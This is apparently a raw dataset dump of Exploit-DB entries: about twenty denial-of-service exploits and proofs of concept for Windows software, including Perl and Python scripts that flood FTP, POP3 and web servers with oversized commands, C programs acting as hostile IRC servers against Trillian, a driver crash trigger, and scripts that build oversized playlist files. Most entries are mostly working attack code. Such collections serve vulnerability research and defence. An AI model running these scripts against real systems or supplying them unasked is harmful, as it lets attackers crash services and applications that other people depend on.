deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23715
Description: TransSoft Broker FTP Server 6.1 - Denial of Service
Type: dos
Platform: windows
Date: 2004-02-17
Author: SecuriTeam

Exploit:
source: https://www.securityfocus.com/bid/9680/info

It has been reported that Broker FTP Server may be prone to multiple denial of service vulnerabilities. These issues may allow a remote attacker to cause the software to crash or hang.

Broker FTP Server version 6.1.0.0 has been reported to be prone to these issues, however, other versions may be affected as well.

#!/usr/bin/perl -w
# TransSoft Broker FTP Server DoS (CPU usage and Exception)
#

use Socket;
if (not $ARGV[0]) {
? ? ? ? print qq~
? ? ? ? ? ? ? ? Usage: pfdos.pl < host>
? ? ? ? ~;
exit;}

$ip=$ARGV[0];
print "host: " . $ip . "\n\n";
sendexplt("A");
sub sendexplt {
?my ($pstr)=@_;
? ? ? ? $target= inet_aton($ip) || die("inet_aton
problems");
?socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')
||0) ||
?die("Socket problems\n");
?if(connect(S,pack "SnA4x8",2,8701,$target)){
?select(S);
? ? ? ? ? ? ? ? $|=1;
?print $pstr;
?sleep 100;
? ? ? ? ?close(S);
?} else { die("Can't connect...\n"); }
}
Exploit-DB #46125
Description: Tree Studio 2.17 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-11
Author: Ihsan Sencan

Exploit:
# Exploit Title: Tree Studio 2.17 - Denial of Service (PoC)
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.pixarra.com/
# Software Link: http://www.pixarra.com/uploads/9/4/6/3/94635436/tbtreestudio_install.exe
# Version: 2.17
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Tree Studio Run / Enter Key...
# Any character.

#!/usr/bin/python
    
buffer = "A" * 10
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
Exploit-DB #31310
Description: Trend Micro OfficeScan - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2008-02-27
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28020/info

Trend Micro OfficeScan Corporate Edition is prone to a buffer-overflow vulnerability and a denial-of-service vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

Successful exploits may allow an attacker to execute arbitrary code with privileges of the user running the application. This may facilitate a complete compromise of vulnerable computers. Failed exploit attempts will likely result in denial-of-service conditions.

These issues affect the following:

OfficeScan Corporate Edition 8.0 Patch 2 Build 1189 and earlier
OfficeScan Corporate Edition 7.0 Patch 3 Build 1314 and earlier

Other Trend Micro products may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31310.zip
Exploit-DB #32939
Description: Trend Micro OfficeScan 8.0 Client - Denial of Service
Type: dos
Platform: windows
Date: 2009-04-21
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/34642/info

The Trend Micro OfficeScan Client is prone to a denial-of-service vulnerability because it fails to handle nested directories with excessively long names.

Successfully exploits will crash the affected application, resulting in a denial-of-service condition. Given the nature of this issue, code execution may be possible, but has not been confirmed.

OfficeScan 8.0 SP1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32939.zip
Exploit-DB #22172
Description: Trend Micro Virus Control System 1.8 - Denial of Service
Type: dos
Platform: windows
Date: 2003-01-15
Author: Rod Boron

Exploit:
source: https://www.securityfocus.com/bid/6617/info

A denial of service vulnerability has been reported for Trend Micro TVCS. The vulnerability occurs when numerous requests for 'activesupport.exe' are made. This will cause the web server to stop responding to requests for a limited period of time. Repeated requests will cause a denial of service for an indefinite period of time.

http://x.x.x.x/tvcs/activesupport.exe
Exploit-DB #21816
Description: Trillian 0.725/0.73/0.74 - IRC User Mode Numeric Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2002-09-21
Author: Lance Fitz-Herbert

Exploit:
// source: https://www.securityfocus.com/bid/5769/info

Trillian is an instant messaging client that supports a number of protocols (including IRC, ICQ, MSN). It is available for Microsoft Windows systems. 

It has been reported that Trillian does not perform adequate bounds checking when receiving IRC raw user mode messages. When a Trillian client receives an instruction from a server for a raw user mode change containing 251 or more bytes of data, a buffer overflow occurs. This could result in denial of service, or the execution of arbitrary attacker supplied instructions.

/* Trillian-221.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian "Raw 221" Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.

   Greets: AnAh, Hooves.
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 221 target "

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[257];

        printf("\nTrillian Raw 221 Flaw\n");
        printf("---------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For 
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',257);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,"\n",1,0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
}
Exploit-DB #21813
Description: Trillian 0.73/0.74 - IRC JOIN Buffer Overflow
Type: dos
Platform: windows
Date: 2002-09-20
Author: Lance Fitz-Herbert

Exploit:
// source: https://www.securityfocus.com/bid/5765/info

The Trillian IRC module does not sufficiently check bounds on JOIN commands. A malicious IRC server may potentially exploit this condition to cause a denial of service or execute arbitrary code with the privileges of the client.

This issue was reported for Trillian versions 0.73 and 0.74. Earlier versions may also be affected. 

/* Trillian-Join.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Join Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 001 target :target\n:target!ident@address JOIN :"

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[300];

        printf("\nTrillian Join Flaw\n");
        printf("----------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }


        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',300);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,"\n",1,0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
}
Exploit-DB #7737
Description: Triologic Media Player 7 - '.m3u' Local Heap Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-12
Author: zAx

Exploit:
# IN THE NAME OF ALLAH :)
#!/usr/bin/python
# Discovered By : zAx
# Download Application : http://www.download.com/Triologic-Media-Player/3000-2139_4-10601848.html?tag=mncol

print "**************************************************************************"
print " Triologic Media Player 7 (.m3u) Local Heap Buffer Overflow PoC\n"
print " Discovered By : zAx\n"
print " ThE-zAx@HoTMaiL.CoM\n"
print " In that PoC thanks for : Stack ;) My BrOthEr :)"
print "**************************************************************************"

overflow = "\x41" * 3000 # not right, just a PoC

try:
    out_file = open("zAx.m3u",'w')
    out_file.write(overflow)
    out_file.close()
    raw_input("\nPoC file created!, Now go to the program and click at Load Button\n")
except:
    print "Error"
# EoF

# milw0rm.com [2009-01-12]
Exploit-DB #19748
Description: True North Software Internet Anywhere Mail Server 3.1.3 - RETR Denial of Service
Type: dos
Platform: windows
Date: 2000-02-10
Author: Nobuo Miwa

Exploit:
source: https://www.securityfocus.com/bid/982/info


Submitting a RETR command with a message ID argument longer than 10 numeric characters will result in a crash of the Internet Anywhere Mail Server. A Doctor Watson error message will appear reporting an access violation by MailServer.exe. Restarting the mail server will resume functionality. This denial of service attack does not affect other running programs, and requires the attacker to have a valid username and password on the POP3 server. 

telnet target 110
+OK POP3 Welcome to someco.com using the Internet Anywhere Mail Server Version:3.1.3. Build: 1065 by True North Software, Inc. <[PII_REDACTED][PII_REDACTED]03@someco.com>
user username
+OK valid
pass password
+OK Authorized
RETR[PII_REDACTED]1
Exploit-DB #11053
Description: ttplayer 5.6Beta3 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-01-07
Author: t-bag YDteam

Exploit:
# Exploit Title: ttplayer=5.6Beta3 Dos POC
# Date: 2010-01-06
# Author: t-bag YDteam.
# Software Link: http://ttplayer.qianqian.com
# Version: 5.6Beta3
# Tested on: win7 and win2003

# Code :
#!/usr/bin/python
#f# t-bag
crash = ("#ETM3U\n"+'QQ\\1.'+"x41" * 81)
try:
file = open('1.m3u','w');
file.write(crash);
file.close();
print "[+] Created crash qianqian file ~"
except:
print "[-] Error :(";
Exploit-DB #9364
Description: Tuniac 090517c - '.m3u' Local File Crash (PoC)
Type: dos
Platform: windows
Date: 2009-08-05
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

##############################################################################################
#
# Tuniac v.090517c (.M3U) Crash PoC
# Found By: Dr_IDE
# http://sourceforge.net/projects/tuniac/files/tuniac/090517/Tuniac_Setup_090517c.exe/download
# Notes: Not sure if code execution is possible though. Maybe someone else can finish it off.
#
##############################################################################################

# Play around here, anything seems to knock it out.
buffer = ("http://" + "\x41" * (4444));

f = open('Dr_IDE.M3U','w');
f.write(buffer);
f.close();

# milw0rm.com [2009-08-05]
Exploit-DB #9671
Description: Tuniac 090517c - '.pls' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2009-09-14
Author: zAx

Exploit:
#!/usr/bin/env python
# Tuniac v.090517c (.PLS) Crash PoC
# By : zAx
# http://sourceforge.net/projects/tuniac/files/tuniac/090517/Tuniac_Setup_090517c.exe/download

buffer = ("[playlist]\x0ANumberOfEntries=1\x0AFile1=http://" + "\x41" * (10000));

f = open('Crash_Poc.PLS','w');
f.write(buffer);
f.close();

# milw0rm.com [2009-09-14]
Exploit-DB #14689
Description: Tuniac 100723 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-19
Author: d4rk-h4ck3r

Exploit:
# Exploit Title: Tuniac 100723 Denial of Service Vulnerability
# Author: d4rk-h4ck3r
# Date: 2010-08-19
# Software Link: http://www.brothersoft.com/tuniac-225851.html
# Greetz 2 : PASSEWORD , MadjiX , KAiSER-J , sec4ever , tli7a , All Tun!Sian h4ck3rz
# Tested on: Windows XP SP3 Fr
# Import d4rk.m3u file , click play and then boooooooooom ;)


my $hd = "#EXTM3U\n";
my $jnk="http://"."\x41" x 100000 ;
open(MYFILE,'>>d4rk.m3u');
print MYFILE $hd.$jnk;
close(MYFILE);
Exploit-DB #51114
Description: Tunnel Interface Driver - Denial of Service
Type: dos
Platform: windows
Date: 2023-03-28
Author: ExAllocatePool2

Exploit:
// Exploit Title: Tunnel Interface Driver - Denial of Service
// Date: 07/15/2022
// Exploit Author: ExAllocatePool2
// Vendor Homepage: https://www.microsoft.com/
// Software Link: https://www.microsoft.com/en-us/software-download/windows10
// Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288)
// Tested on: Microsoft Windows
// GitHub Repository: https://github.com/Exploitables/MSRC-1

#include <Windows.h>
#include <stdio.h>

#define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl"

int main(int argc, char** argv);

int main(int argc, char** argv)
{
	HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0);
	unsigned long long input_output = 0x[PII_REDACTED]424242;
	unsigned long bytes_returned = 0x43434343;
	unsigned char unused = 0;

	SetConsoleTitleA("https://msrc.microsoft.com/");

	printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!");

	if (h_driver == (HANDLE)-1)
	{
		printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
		unused = getchar();
		return 1;
	}
	printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver);

	printf("\n[!] Triggering a denial of service via arbitrary read in 3...");
	for (int i = 2; i > 0; i--)
	{
		Sleep(1000);
		printf("\n[!] %d...", i);
	}

	DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0);

	unused = getchar();
	printf("\n[-] Exploit failed. The machine should have crashed.");
	return 0;
}
Exploit-DB #11131
Description: TurboFTP Server 1.00.712 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-01-13
Author: corelanc0d3r

Exploit:
# Exploit Title : TurboFTP Server 1.00.712 Remote DoS
# Date          : 30 december 2009
# Author        : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)
# Bug found by  : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)
# Software Link : http://www.tbsoftinc.com/download/tbftpsrv.exe
# Version       : 1.00.712
# Issue fixed in: 1.00.720
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : DoS
# Greetz to     : Corelan Security Team::EdiStrosar/Ricks2600/MarkoT/mr_me/ekse
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                       |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] DoS exploit for TurboFTP Server 1.00.712 \n";

use IO::Socket; 

if ($#ARGV ne 3) { 
print "\n  usage: $0 <targetip> <targetport> <user> <password>\n"; 
exit(0); 
} 

my $user=$ARGV[2];
my $pass=$ARGV[3];

print " [+] Preparing DoS payload\n";
my $payload = "A" x 2000;
print " [+] Connecting to server $ARGV[0] on port $ARGV[1]\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], 
                              PeerPort => $ARGV[1], 
                              Proto    => 'tcp'); 

$ftp = <$sock> || die " [!] *** Unable to connect ***\n"; 
print "   ** $ftp";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Logging in (user $user)\n";
print $sock "USER $user\r\n"; 
$ftp = <$sock>;
print "   ** $ftp";
print $sock "PASS $pass\r\n"; 
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Sending payload\n";
print $sock "DELE ".$payload."\r\n";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Payload sent, now checking FTP server state\n";
$sock2 = IO::Socket::INET->new(PeerAddr => $ARGV[0], 
                              PeerPort => $ARGV[1], 
                              Proto    => 'tcp'); 
my $ftp2 = <$sock2> || die " [+] DoS successful\n";
print " [!] DoS did not seem to work\n";
print "   ** $ftp2\n";
Exploit-DB #3138
Description: Twilight WebServer 1.3.3.0 - 'GET' Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-07-07
Author: anonymous

Exploit:
# Denial of Service Attack against Twilight Webserver v1.3.3.0
# http://www.twilightutilities.com
# Original author wanted the c code removed.
# /str0ke

use strict;
use IO::Socket;

sub usage
{
    print "Denial of Service Attack against Twilight Webserver v1.3.3.0\n";
    print "Usage: $0 www.example.com port\n";
    exit ();
}

my $host= shift || &usage;
my $port= shift || 80;

my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp') or die("Connect issue");

# pretty close to the output of the c code.
print $sock "GET" . "A" x 1049 . "\r\n";

# milw0rm.com [2003-07-07]
Exploit-DB #46845
Description: TwistedBrush Pro Studio 24.06 - '.srp' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-14
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: TwistedBrush Pro Studio 24.06 - '.srp' Denial of Service (PoC)
# Date: 13/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.pixarra.com
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe
# Version: 24.06
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "TwistedBrush_player.py", it will create a new file "sample.srp"
# 2.- Open TwistedBrush Pro Studio
# 3.- Go to 'Record' > 'Script Player...' 
# 4.- Click 'Import' button, select the 'sample.srp' file created and click 'Open' button
# 5.- Crashed

buffer = "\x41" * 500000
f = open ("sample.srp", "w")
f.write(buffer)
f.close()
Exploit-DB #46843
Description: TwistedBrush Pro Studio 24.06 - 'Resize Image' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-14
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: TwistedBrush Pro Studio 24.06 - 'Resize Image' Denial of Service (PoC)
# Date: 13/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.pixarra.com
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe
# Version: 24.06
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "TwistedBrush _resize.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open TwistedBrush Pro Studio
# 4.- Go to 'Image' > 'Resize Image...' 
# 5.- Paste clipboard in the 'New Width/New Height' field
# 6.- Click OK
# 7.- Crashed

buffer = "\x41" * 1000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #46844
Description: TwistedBrush Pro Studio 24.06 - 'Script Recorder' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-14
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: TwistedBrush Pro Studio 24.06 - 'Script Recorder' Denial of Service (PoC)
# Date: 13/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.pixarra.com
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe
# Version: 24.06
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "TwistedBrush_recorder.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open TwistedBrush Pro Studio
# 4.- Go to 'Record' > 'Script Recorder...' 
# 5.- Paste clipboard in the 'Description' field
# 6.- Click 'Brush' button
# 7.- Crashed

buffer = "\x41" * 500000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()